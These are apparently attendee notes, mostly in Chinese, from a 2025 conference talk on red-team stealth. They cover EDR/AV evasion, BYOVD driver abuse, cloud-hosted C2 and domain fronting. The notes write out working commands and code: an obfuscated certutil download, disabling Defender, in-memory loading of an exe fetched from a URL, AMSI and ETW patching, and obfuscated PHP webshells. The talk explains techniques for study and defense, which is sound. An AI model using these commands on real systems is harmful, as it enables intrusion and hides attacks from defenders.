CYBERSEC 2025 臺灣資安大會 「Operations Security (OPSEC) — 紅隊不被抓到的秘密!」 (Steven Meow)
CYBERSEC 2025 臺灣資安大會 「Operations Security (OPSEC) — 紅隊不被抓到的秘密!」 (Steven Meow)
Table of Contents
[TOC]
Conference Info
Conference Title: CYBERSEC 2025 臺灣資安大會
Date: 2025.04.17
Location: 臺北南港展覽二館 7F 701E
Presentation Title: Operations Security 紅隊不被抓到的秘密!
Speaker: 游照臨 (Steven Meow) | 趨勢科技 Threat Researcher
Description:
本議程將深入探討如何提升紅隊操作中的隱匿性,確保其行動的隱蔽性及有效性。從網路層面的 DoH、ECH 到 Domain Fronting 等網絡匿名化技術;再到 Payload 管理和 C2 Server 的選擇與配置,涵蓋了使用 Cobalt Strike 以及 Meterpreter 等商業及開源工具。此外,還將介紹如何利用 Injection 等手法及 API 增加操作的隱蔽性,並探討 Mimikatz、BloodHound、impacket 等工具在實戰中的應用注意事項。
針對現代防毒和端點保護的挑戰,演講也將探討 AMSI、ETW 等技術與繞過,幫助紅隊成員在執行任務時避開安全檢查,不觸發警報。透過這場演講,參與者將能夠學習到如何在各種安全環境下保持紅隊活動的隱蔽性,同時提升紅隊演練的效果和精準度。

Presentation Technical Content
內容也包含自己不太懂,上網 research 的補充知識
Hacker vs. Antivirus/EDR

Introduction
EDR / Antivirus 偵測
- 惡意指令
Antivirus 不是只看檔案,還會看 Process CommandLine

Windows Defender 跳
Trojan:Win32/Ceprolad.Acertutil.exe: 憑證管理工具
-urlcache -f: 從 URL 抓檔案存成本機檔
在 exe 下載執行前,光 command line 就足以讓 Antivirus 告警
🥚 透過字元拆解、插引號、變形可繞過 Process CommandLine 偵測
ce""rt""ut""il" -u"rl"c"ac"he" -f http://10.211.55.7:8000/s.exe s.exe

- 偵測 EDR/AV 被關掉
查詢 Defender(Microsoft Defender Antivirus)的狀態
Get-MpComputerStatus | Select RealTimeProtectionEnabled
將 Defender 即時防護關掉
Set-MpPreference -DisableRealtimeMonitoring $true

🥚 修改大小寫繞過偵測

SYSTEM 權限下關掉 Defender = 整台機器幾乎無防護
- file-based detection
EDR/AV 會針對磁碟中檔案的 hash、signature、YARA rule 等進行偵測

Alert:
HackTool:Win32/Mimikatz!pz
Affected item:file: C:\Users\Meow\Desktop\mimikatz.exe
利用 PowerShell 把檔案載到記憶體,直接執行:
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.1.333:8000/bad.exe')
建立一個 .NET 的 System.Net.WebClient 物件,呼叫 DownloadData(),從 URL 把檔案以位元組陣列形式載入,並存入 $data 變數
沒有寫入磁碟,只存在記憶體
$assem = [System.Reflection.Assembly]::Load($data)
Reflective Loader: 將
$data當成一個.NET Assembly載入Assembly.Load(byte[])會在當前 process 記憶體裡直接載入執行檔$assem就是載入後的 Assembly 物件
$method = $assem.EntryPoint
取得 Assembly 的入口點方法 = C# 的 static void Main(...)
接著呼叫 Main 函式的參數,讓反射呼叫 EntryPoint 看起來像正常執行
MethodInfo.Invoke(object obj, object[] parameters)第二個參數型別是object[],先用 ArrayList 組合,最後再 ToArray()
$argu = New-Object -TypeName System.Collections.ArrayList
[string[]]$strings = "exploit"
$argu.Add($strings)
建立 ArrayList 物件當作參數容器,字串陣列放 "exploit"
個陣列加到 $argu 裡 (對應 C#static void Main(string[] args)的 args)
$method 是前面取得的 $assem.EntryPoint(也就是 static void Main(...))
$method.Invoke($null, $argu.ToArray())
$null:EntryPoint 是 static,不需要 instance
$argu.ToArray():轉成 object[] >> 裡面只有一個元素,就是 string[]
對 .NET 來說 👀 = Main(new string[] { "exploit" });

準備一個 string[] { "exploit" } 當作 Main 的 args, 再用反射 Invoke 入口點,讓記憶體中載入的 bad.exe 在目前 PowerShell process 裡執行,會等同於在 cmd 打 bad.exe exploit 一樣。
Case Study
APT 實際案例:

IoC: Indicator of Compromise

- appitob.exe
appitob.exe 是主要的 C2 payload。appitob.exe 在 APT 中主要為 C2 / 後門程式,而且不是直接連攻擊者 VPS,而是把 C2 流量藏在 Microsoft Dev Tunnels(*.devtunnels.ms)
攻擊鏈:
1. 利用 BYOVD + 其他工具取得穩定控制權
2. 在受害機器上執行 appitob.exe
3. appitob.exe 連到 *.devtunnels.ms 的 URL,建立一條加密通道
4. 通道另一端為攻擊者本機或 Cobalt Strike Server(透過 Dev Tunnels 轉發)
5. 後續所有指都走這條看起來是 Microsoft 的 HTTPS 流量

看出 C2 流量藏在 *.devtunnels.ms 這個 legit 服務裡 >> LoL C2
DEV tunnels: DEV tunnels 允許開發人員透過互聯網安全地共享本機 Web 服務。這使您可以將本機開發環境與雲端服務連接起來,與同事分享正在進行的工作,或協助建立 Webhook。開發隧道適用於臨時測試和開發,不適用於生產工作負載。(Microsoft document)
可以把自己本機上的 local web service(API、測試站)暫時公開到 Internet,不用自己架公網 IP 或處理 NAT/防火牆。
在本機架一個簡單 Flask API,透過 "Forward a port" ,從 local 端連到 Microsoft 的 Dev Tunnel 服務建立持久 TCP/TLS 連線

Dev Tunnel 會在雲端點掛上一個子網域 xxxx-5000.usw3.devtunnels.ms
Dev Tunnel 在 Microsoft 端開了一個 HTTPS endpoint

攻擊思維:將 Dev Tunnels 視為 LoL C2 tunnel
在本機上開一個 Dev Tunnel,把 C2 server 或 CS teamserver 綁在本機某個 port。透過 Dev Tunnel 拿到 https://xxxx-5000.usw3.devtunnels.ms/ URL。
在 appitob.exe 等 implant 裡,把 C2 目標寫成這個 URL。 👉🏻 受害機器的所有 C2 流量就只會顯示為對 *.devtunnels.ms 的 HTTPS 連線,來源目標都是 Microsoft。
本機服務 ↔ Dev Tunnel ↔ 外部使用者
- za.sys
za.sys 是 Zemana 有簽章但有漏洞的驅動程式 (Zam64.sys),原用於 Zemana 移除工具用的核心驅動。但被利用漏洞在 kernel 權限下關掉 EDR / AV
Zam64.sys driver 缺陷: 未授權的 IOCTL 可以做任意記憶體讀寫、任意 process/driver 操作等
BYOVD(Bring Your Own Vulnerable Driver)

攻擊思維:以系統/管理員權限落地兩個檔
- za.sys
- userland loader(EXE),
- 透過 CreateService / sc start 載入 za.sys 為 kernel driver
- 透過 DeviceIoControl 對 za.sys 發送特製 IOCTL
若 za.sys 在 kernel 中成功執行,攻擊者就可以利用它的漏洞做很多事
- 以 kernel 權限枚舉並 Terminate EDR / AV 的 process
- Unload / Patch 安全產品的驅動
- 清除 userland 裡的 hook、解除關鍵保護機制
⚠️ 當 EDR / AV 從 kernel 層被移除或關閉後,後續再執行 appitob.exe、beacon_x64.exe、mimikatz、橫向移動工具等,就幾乎不會被偵測
- svc.exe
svc.exe 也是其中一個 C2 payload,把 C2 流量藏在 Microsoft 365/SharePoint/Graph API 裡,負責對外連線、接收指令、回傳結果
svc.exe 在執行時,會頻繁連到這些 SharePoint URL

一堆 SharePoint URL 不是在正常工作,而是惡意程式在用 SharePoint 當 C2 平台

刻意將指令與結果塞進 SharePoint / Graph API 裡,讓行為看起來像正常運作,而不是連可疑 VPS
Graph Strike: GraphStrike 是一個現成的紅隊 / 研究工具,提供 Cobalt Strike 用的一套工具組(UDRL + Server + Provisioner)。讓 Beacon 的 HTTP(S) C2 利用 Microsoft Graph API 後面接 SharePoint / OneDrive 等服務來做偽造流量 GraphStrike 的 C2 流量 pattern 透過 SharePoint URL 白名單 Bypass 偵測,而 Beacon 流量本身消失在 Microsoft 雲端裡
Graph Strike 架構:
(GraphStrike: Anatomy of Offensive Tool Development)
GraphStrike 連線架構:

- Beacon
表面上只是跑 GraphStrike.exe / Beacon ,內部 WinINet HTTP client 被 UDRL 重新導向:
HttpOpenRequestA/HttpSendRequestA等呼叫被包裝,用 Graph API 的 URL/Headers/Body 送出 - Microsoft Graph / SharePoint
充當「Task Queue + Output Storage」,每個 Beacon 皆有
TS tasking file(藍) 及Beacon output file(藍)。將執行指令寫在 task 檔,結果寫在 output 檔 - GraphStrike Server
對每個 Beacon 開一條 thread:
- 等待 TS 有新的 task(HTTP GET 拉 CS Server 任務)
- 把任務內容 upload 成 SharePoint 某個檔案(Task Node)
- 等待 Beacon 把 output 寫回另一個檔案
- 下載 output、發回 Cobalt Strike Team Server
- Cobalt Strike Team Server 看似 Beacon 在用 HTTP profile 和 TS 交談,🥚 實際封包是:
Beacon → Microsoft → GraphStrike Server → Cobalt Strike Team Server
- beacon_x64.exe
beacon_x64.exe 是 Cobalt Strike 在產生 64-bit Windows EXE payload 時的預設檔名 在 Cobalt Strike GUI 裡,建好一個 HTTP/HTTPS Listener。
Attacks → Packages → Windows EXE (64-bit)
CS 會輸出預設檔: beacon_x64.exe

EDR Killer – BYOVD Attack
Kernel Driver 的威力:

BYOVD
BYOVD 定義與歷史,攻擊者帶一個 vulnerable driver 進受害機器,藉此拿到 kernel 權限、關掉 EDR

LoL Drivers
Living-off-the-Land Drivers:原生或合法驅動被濫用
LoL Drivers 漏洞多為安全產品本身的 driver

LoL Drivers List:

Weaponize Project:Terminator

ZeroMemoryEx/Terminator 重現 Spyboy 的 Terminator 技術的 PoC: 利用 zam64.sys 終止所有 EDR / XDR / AV 的 process
User mode:
在 Terminator 原始 PoC 會定義字串列出常見產品的 process 名稱: g_edrList[]
在工具取得 device handle 會呼叫一般 Win32 API 連到如 \\.\ZemanaAntiMalware 的 device,並送 IOCTL 把自己加入 trusted list,帶入自己的 PID,丟給特定 IOCTL
接著用系統 API loop 所有 PID,取得 image name,跟 g_edrlist[] 比對,對命中的 PID 呼叫終止 IOCTL,請驅動在 kernel 端處理。
Kernel mode:
在驅動裡,對應的 IOCTL handler 會檢查呼叫方 PID 是否在 trusted list。若是,會對指定 PID 做 process 查找(類似 PsLookupProcessByProcessId),視 IOCTL 功能:直接終止 process,或更改 PPL 、權限,讓 user-mode 之後也能操作。
EDR's dilemma: 辛苦藍隊同胞 🔵

C2 Network Hiding – LoL C2
C2 不一定是單純一台 VPS,可以隱藏在 Tunnel、Clloud 服務,甚至日常軟體裡,形成 LoL C2(Living-off-the-Land C2)
What C2 hacker uses ?

紅隊於 C2 要能 快速輪換、很難被封鎖,若被藍隊偵測到一個 IP 或 Domain,頂多只損失其中一個節點,整體架構要能很快換掉。
C2 Server 類型分為 Tunnel-Based, Cloud Based, Legitimate Software:

- Tunnel-Based C2
Tunnel-Based Tool 主要是為開發者設計的,可將本機或內網的一個 port,透過雲端服務暴露成一個公開 URL

Cloudflare Tunnel,ngrok,Pinggy,LocalXpose,PageKite,frp,chisel等
- Cloud Based C2
Cloud Based C2 可將雲端直接當 C2 Server 或 Redirector。直接在 AWS EC2 / GCP / Azure VM 上跑 TS,或用 AWS Lambda / API Gateway / Cloud Functions 當 C2 前門
藍隊 🔵:也無法直接 Block AWS EC2 / CloudFront,因為一堆正常服務也在上面。

- IaaS / VPS:
AWS EC2 / Lightsail, GCP Compute Engine, Azure VM, DigitalOcean, Vultr, Linode, Hetzner
直接跑 CS TS、Mythic、Sliver、Covenant 等 C2 framework- PaaS / Serverless:
[web app redirector] Heroku, Render, Railway, Flyio [function] AWS Lambda, Azure Functions, GCP Cloud Functions
[REST API] AWS API Gateway, Azure API Management- CDN / Fronting / Edge:
[Domain Fronting] CloudFront / Fastly / Akamai / Cloudflare CDN
[Edge Node] Cloudflare Workers / AWS Lambda@Edge
Encrypted Client Hello (ECH) + Fronting- Container / Orchestration:
AWS ECS / Fargate / Kubernetes(EKS/GKE/AKS)
- Legitimate Software as C2
只要軟體能讀寫資料、可透過網路同步,就有可能被改造為 C2 Channel

- SNS Program:
Slack bot, Microsoft Teams bot, Discord webhook, LINE Bot, Telegram Bot API, Mastodon, Rocket.Chat- Storage / File / Docs:
Google Drive, OneDrive, Dropbox, Box, Google Docs, Notion, Confluence, GitLab, Bitbucket- Other SaaS:
Jira, ServiceNow, Zendesk, Pastebin, hastebin, SMTP
或是... Counter Strike 1.6

SOC 通報 🔵: "員工在打 CS"
🔵 How to detect HTTPS Host

TLS Client Hello
Server Name: xxx.example.com
透過 SNI 可以知道連線要去的 hostname 當作防禦基準分類
正常 CDN(Content Delivery Network):
使用者要連 https://aaa.com, DNS 會回一個 CDN 的 IP 104.21.x.x。瀏覽器在 TLS handshake 的 ClientHello 裡用明文 SNI 寫上 aaa.com,Edge device(FW/Proxy/IDS)就會記錄連線是往 aaa.com。TLS 建立完成後,HTTP 要求被加密,其中的 Host header (aaa.com)。CDN 看到 SNI/Host 都是 aaa.com,會依照內部設定把流量轉送到 aaa.com 的 origin server。∑ 在正常 CDN 模式下,SNI 與 HTTP Host 一致,藍隊看到的目標網域,就是實際被存取的站台。
Domain Fronting:
Domain Fronting 刻意讓 SNI 與 HTTP Host 不一致。攻擊端仍對 DNS 查 aaa.com,連到同一個 CDN IP,在 TLS ClientHello 裡把 SNI 設成 aaa.com,讓 Edge device 以為是連到白名單的正常流量,但 TLS 建立後送出的加密 HTTP 要求裡,Host header 改成 evil.com。CDN 依 Host 把流量實際轉發到 evil.com 的 origin,然而藍隊只能看到外層 SNI=aaa.com,看不到被加密的 Host,因此誤以為只是連 aaa.com,真正的 C2 或惡意服務就藏在 CDN 後面,形成 看起來是 aaa.com,實際卻是 evil.com 的隱藏通道。
(Encrypted Client Hello (ECH))
Static / Dynamic Bypass
Static Obfuscate
靜態混淆已最常見的 PHP webshell 為例:
<?php system($_GET["cmd"]); ?>
透過 PHP 文件找替代寫法

system(),可替換
passthru,exec,shell_exec,popen,proc_open某些 AV/WAF 可能只針對
system + $_GET
若 <?php passthru($_GET[1]); ?> 還是會被擋,再加一層字串拆解

在 PHP 中,字串加上小括號,若內容是一個有效函式,就會被當成動態函式呼叫,透過
.串接字串
<?pHp $a='pass'; ($a.'thru')($_GET[9487]); ?>
其他 Webshell 靜態混肴可參考: HERE
Dynamic Obfuscate
1. Command Line
當透過 cmd.exe、powershell.exe、wscript.exe 等直譯器輸入了一段可疑指令,EDR 會在執行前或執行當下,會把即將跑的 script 內容丟給 AMSI。AMSI 再把內容送給 Defender 或其他 AV 引擎分析。
- AMSI – Antimalware Scan Interface

cmd: IEX (New-Object Net.WebClient).DownloadString('http://{IP}/payload.ps1')為例:
- PowerShell 丟給 AMSI,將腳本內容當字串或 buffer 傳下去。在 Win32 / COM API Layer 是 AMSI 的 API,提供
AmsiInitialize,AmsiScanBuffer,AmsiScanString之類的函式。AmsiScanBufferWin32 API 底層會轉成呼叫 COM 介面IAntimalware::Scan()定義防毒供應商的標準 Scan 函式。 - Windows Defender 自己有一個 provider class,會實作
IAntimalwareProvider::Scan(),負責把收到的 buffer 交給各自防毒引擎分析,通常是 DLL / COM 物件。接著透過 IPC / RPC 等方式,去呼叫真正的 scan engine。 - 真正的防毒引擎跑在獨立服務
MsMpEng.exe裡,MpEngine.dll是 Defender 的核心掃描引擎(signature / ML / heuristics)。而 MpSvc.dll 充當 RPC server,提供給外界 provider class 呼叫。
另外從 AV Provider Layer 到 MsMpEng.exe 用 RPC 溝通,Provider class 不會直接在 PowerShell process 裡做完整掃描,會經由 RPC,把 buffer 傳給 MsMpEng.exe。MsMpEng.exe 做完分析後,把結果透過 RPC 回傳。
Provider 註冊機制: 系統裡可以有多個 AV Provider(防毒引擎),每個 Provider 會註冊一個 COM class,實作
IAntimalwareProvider/IAntimalware::Scan。 Provider Class registration (綠色圓柱) 是在表示:AMSI 會去查哪一個 Provider 有註冊,再決定要把掃描請求丟給 Windows Defender 或第三方 AV
GPT 5.1: 
- AMSI Bypass

- 將 RCX 設為 0,使其不進行掃描
- 將 instruction test rcx, rcx 改成為將 Zero Flag 設為 0 的指令
Assembly 翻譯:
if (rcx == 0) { // 不做 AMSI 掃描 } else { // 做 AMSI 掃描 }
在 x64 calling convention 下,RCX 通常是第一個參數,能改變暫存器或判斷式條件,就能讓後面的掃描邏輯被整段略過

在 x86-64 裡,XOR RAX, RAX (48 31 C0) 把 RAX 清成 0,同時把 Zero Flag 設成 1
$buf = [Byte[]] (0x48, 0x31, 0xC0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)
System.Runtime.InteropServices.Marshal::Copy把 managed 的 byte[] 複製到任意記憶體位址,將 $buf 開頭複製 3 個 byte,到記憶體位址 $funcAddr
$vp.Invoke($funcAddr, 3, 0x20, [ref]$oldProtectionBuffer)
(前面用 VirtualProtect 建好 delegate($ vp))?!
Invoke 呼叫 VirtualProtect。先呼叫 VirtualProtect 把那段 code page 權限改成PAGE_EXECUTE_READWRITE。接著 Marshal.Copy 寫入 machine code,再用 VirtualProtect 把權限改回原本值($oldProtectionBuffer 存舊 Flag)
如果把原本判斷 test rcx, rcx 這段machine code patch 成「永遠 ZF=1」的序列,那後面的 jz 分支就會永遠變條件成立、不掃描。
Assembly 翻譯:
if (always_zero) { // 不掃 AMSI } else { // … 永遠不會到 }
頭痛的可以參考:AMSI Bypass: Understanding and Evasion Techniques
2. Behavior
EDR 不只看 cmd line,還會看實際做了什麼事,例如:
- 可疑的 API 呼叫組合(Process Injection: VirtualAlloc + WriteProcessMemory + CreateRemoteThread),或大量可疑的 registry 操作、關閉防毒等
- 網路連線模式(往奇怪 Domain、異常頻率 beacon)
- 使用 kernel exploit、載入可疑 driver、操作敏感 Handle 等
API hooking, ETW, Kernel callbacks 會收集事件,再用規則或 DL 去判斷行為序列
-
ETW (Event Tracing for Windows) 只要程式有註冊成 ETW Provider,所有行為,如 Process 建立、PowerShell 內容、網路連線,都可以被 ETW 紀錄

- Controller 如 logman、perfmon、EDR agent,負責啟用停用 ETW Provider、設定 Session、收集結果。
- Windows Kernel 的 Event Tracing Session,有多個 Session,分別記錄不同事件。每個 Session 會接收多個 Provider 的事件:Provider A/B/C:可能是 PowerShell、.NET、Kernel、Sysmon 等。這些 Provider 在程式碼裡呼叫 ETW API,把事件 push 進 Session。
- Session 裡的事件可以被寫到 Trace Files,也可以即時送給 EDR 或SIEM。
EtwEventWrite 邏輯:

第 1-4 個參數放在:RCX, RDX, R8, R9
會在 RSP 下方預留 32 byte sshadow space,再加上自己的 local 變數
回傳值放在 RAX
ETW 使用 ntdll.dll 裡的 EtwEventWrite
各種 user-mode Provider(例如 PowerShell、.NET Runtime)在要送 ETW 事件時,最後都會經過 EtwEventWrite 這個 API,把 event 寫入 Session。

🧠:如果在自己 process 裡把 EtwEventWrite 搞壞,這個 process 送出的 ETW 事件就會寫不出去,偵測系統就少了很多 telemetry。
利用 GetProcAddress 找到 ntdll.dll!EtwEventWrite 的位址,用 VirtualProtectEx 開權限,再用 WriteProcessMemory 把第一個 byte 改成 0xC3(RET),讓這個 process 之後所有對 EtwEventWrite 的呼叫直接 return,不再往下到 ETW session。
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
LPVOID pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
GetModuleHandleA("ntdll.dll"): 取得目前 process 裡 ntdll.dll 的模組 handle。ntdll.dll 裡面實作了 EtwEventWrite API
GetProcAddress(hNtdll, "EtwEventWrite"): 在 ntdll.dll 裡查詢名稱為 EtwEventWrite 的函式位址,回傳的會是一個 LPVOID 指標 >pEtwEventWrite= ETW 事件寫入入口點在記憶體中的實際位址。
DWORD oldProtect;
VirtualProtectEx(pi.hProcess,(LPVOID)pEtwEventWrite,1,PAGE_EXECUTE_READWRITE,&oldProtect);
VirtualProtectEx(...):
pi.hProcess:目標 process 的 handle,常見是先 CreateProcess 出來的 child,或已注入的 process(LPVOID)pEtwEventWrite:拿到的 EtwEventWrite 函式位址- 1:修改的長度 1 byte
PAGE_EXECUTE_READWRITE:修改權限允許執行、讀寫&oldProtect:除存原本的權限,以便還原
char patch = 0xC3; // ret
WriteProcessMemory(pi.hProcess,(LPVOID)pEtwEventWrite,&patch,sizeof(char),NULL);
char patch = 0xC3;: 建立 1 byte 的變數 patch 0xC3 代表指令 RET(return)。 WriteProcessMemory(...):
把 EtwEventWrite 函式開頭的第一個 byte 改成 RET
當目標 process 裡有程式呼叫 EtwEventWrite(...) 時進入函式,第一指令就是 RET,立刻 return 回去
VirtualProtectEx(pi.hProcess,(LPVOID)pEtwEventWrite,1,oldProtect,NULL);
將 PAGE_EXECUTE_READWRITE 改回 oldProtect。
避免多出 RWX 權限而被偵測
user-mode ETW bypass 頭痛的可以參考:Bypassing ETW For Fun and Profit
- Kernel API Hooking
若繞過 ntdll.dll 的 hook ,還有 kernel 的 API hooking / callback,可以在系統呼叫層看所有操作

EDR 不一定只在 user-mode 看 API,而是在 kernel 裡 hook SSDT / callback(PsSetCreateProcessNotifyRoutineEx``ObRegisterCallbacks…),也可改成系統呼叫返回路徑,讓每一次 NtCreateProcess, NtWriteVirtualMemory, NtCreateFile 等都先進 EDR 的檢查邏輯。在 kernel 端的 callback 還是看得到整個事件。
- UnHook
EDR 用 hook 偵測,可以用 direct syscall 或恢復原始 ntdll 來拆這些 hook,但這些行為容易被進階防禦當成 IOC
(自訂跳轉函數的unhook方法)

- Direct system call 不經過被注入 hook 的 user-mode API(
kernel32!CreateRemoteThread),直接呼叫ntdll!NtCreateThreadEx的 syscall stub,甚至自建 stub。有機會避免 user-mode inline hook 或 IAT hook - 從乾淨的 ntdll 把原始 code call 回來,再把被 EDR inline 的 JMP 移除,或手動指定自訂 jump,跳過 EDR 的 handler
- Memory Scan
即使繞過檔案掃描,記憶體也可能會被掃
就算 fileless 或加殼混淆可執行檔,只要 payload 在記憶體裡( shellcode、 Cobalt Strike beacon、字串),記憶體掃描引擎仍然可以用 signature, entropy 或 YARA 偵測。
- Lazy Loading / Staged Loading
新 beacon 或 loader 啟用時,不要立刻注入惡意 API,先把前半段行為洗成正常程式
有些 EDR, sandbox 對於 process 剛啟動的幾秒鐘特別敏感:一啟動就 VirtualAlloc + WriteProcessMemory + CreateRemoteThread
初始程式先只做簡單初始化、只載入常見 DLL,待條件符合再執行 download, decrypt, inject 等手法。
- Sleep Mask
不整 payload 一直明文躺在記憶體裡,休眠期間遮蔽自己,降低被 memory scan 抓到的機率

C2 beacon 一般會在一段時間內做 injection, dump creds, 橫向,並 Sleep(mins) 等待下次任務,原因在於有些 EDR 會在 process idle, Sleep 期間做 memory scan。
- Process Injection
Process Explorer:CreateRemoteThread, NtQueueApcThread, SetWindowsHookEx, RtlCreateUserThread…
隱藏行程名稱,藏在 explorer.exe, svchost.exe 等,利用現成權限與網路通路,把檔案 IO / network 事件歸到其他 process。
- Kerberos OPSec
在做 Kerberoasting、S4U、Golden Ticket、Shadow Credentials 等手法時,也要顧操作痕跡:加密型別、存活時間、log pattern,避免一眼被看出來

- 盡量使用 AES 型的加密(
aes256_cts_hmac_sha1),避免 RC4 老演算法- 不要使用 Golden Ticket,使用Diamond, Sapphire ticket 我問 GPT: Golden Ticket 高權限且高持久,但特徵超明顯
- 不要開超長存活(幾天、幾週)的 service ticket 或 TGT,
Conclusion

其他 Bypass EDR/AV 技巧可參考:Red Team - Bypass EDR/AV
